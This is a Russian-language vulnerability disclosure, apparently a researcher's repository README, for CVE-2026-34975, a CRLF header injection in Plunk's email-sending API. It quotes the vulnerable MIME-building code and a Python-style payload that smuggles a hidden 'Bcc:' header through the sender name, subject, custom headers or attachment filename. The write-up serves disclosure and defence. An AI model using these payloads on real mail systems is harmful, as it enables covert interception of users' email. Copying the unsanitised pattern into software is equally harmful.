romain-deperne/cve-2026-34975CRLF Email Header Injection в Plunk через raw MIME construction — CVSS 8.5
Серьёзность: Высокая (CVSS 8.5)
CWE: CWE-93 — Некорректная нейтрализация CRLF-последовательностей ('CRLF Injection')
Затронуто: useplunk/plunk (все версии до исправления)
Консультация: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Конечная точка POST /v1/send в Plunk конструирует необработанное MIME-сообщение, подставляя пользовательские поля (from.name, subject, пользовательские заголовки, имена вложений) непосредственно в строку шаблона без санитизации CRLF (\r\n). Аутентифицированный пользователь API может внедрить произвольные заголовки электронной почты — включая Bcc — чтобы незаметно перенаправлять копии писем на адреса, контролируемые атакующим.
Я проводил аудит платформ для отправки электронной почты с открытым исходным кодом — всё, что оборачивает AWS SES и предоставляет API. Plunk позиционируется как удобная для разработчиков альтернатива SendGrid/Postmark, построенная на SES.
Моей точкой входа была функция конструирования необработанного письма. Всякий раз, когда я вижу rawMessage += или шаблонные литералы, собирающие MIME, я проверяю, санитизируется ли каждое пользовательское поле от CRLF. В SESService.ts ответ был очевидно отрицательным: from.name, subject, пользовательские заголовки и имена вложений — всё подставлялось напрямую.
Что подтвердило эксплуатируемость: схема Zod (packages/shared/src/schemas/index.ts) не содержала .regex() или .refine(), отклоняющих \r\n ни в одном из этих полей. Ни санитизации на уровне схемы, ни санитизации на уровне конструирования MIME — чистый путь от ввода API до внедрённого MIME-заголовка.
Я протестировал все четыре вектора (from.name, subject, значение пользовательского заголовка, имя вложения) и подтвердил, что инъекция Bcc: работает. Любой аутентифицированный пользователь API с подтверждённым доменом отправителя может незаметно копировать каждое исходящее письмо на адрес, контролируемый атакующим. Реалистичный сценарий атаки — скомпрометированный ключ API, превращающийся в постоянный перехват электронной почты.
Файл: apps/api/src/services/SESService.ts, строки 137–151
// Уязвимое конструирование необработанного MIME
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Пользовательские заголовки подставляются напрямую
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value не санитизируется
}
// Имя вложения
`Content-Disposition: inline; filename="${attachment.filename}"` // не санитизируется
Схема Zod (packages/shared/src/schemas/index.ts) — без проверки CRLF:
headers: z.record(z.string().max(998)).optional() // без проверки \r\n
from: { name: z.string().optional() } // без проверки \r\n
subject: z.string().min(1).max(998) // без проверки \r\n
filename: z.string().min(1).max(255) // без проверки \r\n
Конструирование необработанного MIME требует, чтобы каждое пользовательское значение было очищено от \r\n перед подстановкой. Plunk собирает сообщение с помощью шаблонных литералов и не санитизирует ни одно из четырёх инъектируемых полей. SMTP-парсеры интерпретируют \r\n как границу заголовка, поэтому внедрение \r\nBcc: [email protected] в from.name добавляет реальный заголовок Bcc в исходящее сообщение.
См. poc.py для полной демонстрации с четырьмя векторами инъекции.
Основная нагрузка — инъекция Bcc через from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
Необработанный MIME, созданный SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES доставляет незаметную копию на [email protected] с каждым письмом, отправленным через скомпрометированный ключ API.
Другие векторы инъекции:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender